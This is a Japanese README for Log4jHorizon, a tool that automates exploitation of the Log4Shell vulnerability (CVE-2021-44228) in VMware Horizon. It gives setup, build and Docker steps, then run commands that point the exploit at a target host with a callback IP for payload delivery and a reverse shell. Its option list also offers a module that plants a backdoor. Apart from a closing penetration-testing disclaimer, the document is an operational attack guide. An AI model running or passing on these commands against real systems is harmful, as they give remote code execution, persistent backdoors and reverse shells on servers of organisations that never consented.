
CVE-2021-44228をVMWare Horizonで悪用し、リモートコード実行などを実現する。
VMWare Horizon における CVE-2021-44228 を悪用し、リモートコード実行などを実現するツールです。
今回のコードと README.md は少し散らかっています。アップデート予定です!
この脆弱性の Proof of Concept は散在しており、手動で実行する必要があります。このリポジトリは、その悪用プロセスを自動化します。ポストエクスプロイテーションの指針については、上記のブログ記事を参照してください。
このリポジトリは、手動または Docker で使用できます。
エクスプロイトを手動でダウンロードして実行するには、以下の手順を実行します。まず、攻撃者ホストに Java と Maven がインストールされていることを確認してください。Debian ベースのオペレーティングシステムで apt を使用してこれを行うには、次のコマンドを実行します:
apt update && apt install openjdk-11-jre maven
GitHub リポジトリをクローンし、すべての Python 要件をインストールします:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && pip3 install -r requirements.txt
Log4jHorizon リポジトリのルートから、以下のコマンドを使用して Rogue-Jndi プロジェクトをコンパイルします:
mvn package -f utils/rogue-jndi/
まず、攻撃ホストに Docker がインストールされていることを確認してください。(この手順については説明しません)
その後、以下のコマンドを実行してリポジトリをクローンし、使用する Docker イメージをビルドします。
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && docker build -t Log4jHorizon .
コンテナを実行するには、コマンドラインフラグを追加して、次のようなコマンドを実行します。コンテナはリバースシェルをキャッチしないことに注意してください。別のシェルセッションで ncat リスナーを作成する必要があります:
docker run -it -p 1389:1389 Log4jHorizon \
-r -t horizon.acme.com -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -t URL -i CALLBACK [-p PORT] [-r] [-b]
optional arguments:
-h, --help show this help message and exit
-t URL, --target URL VMWare Horizon IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-r, --revshell Module to establish reverse shell using node.exe.
-b, --backdoor Module to add backdoor.
ローカルシステムにインストールしたツールを使用してリバースシェルを取得します:
python3 exploit.py -r -t horizon.acme.com -p 442 -i 192.168.1.1
このツールはペネトレーションテスト中に使用するために設計されています。事前の相互同意なしにターゲットを攻撃するためにこのツールを使用することは違法です。適用されるすべての地域、州、連邦法を遵守する責任はエンドユーザーにあります。開発者はいかなる責任も負わず、このプログラムの誤用についても責任を負いません。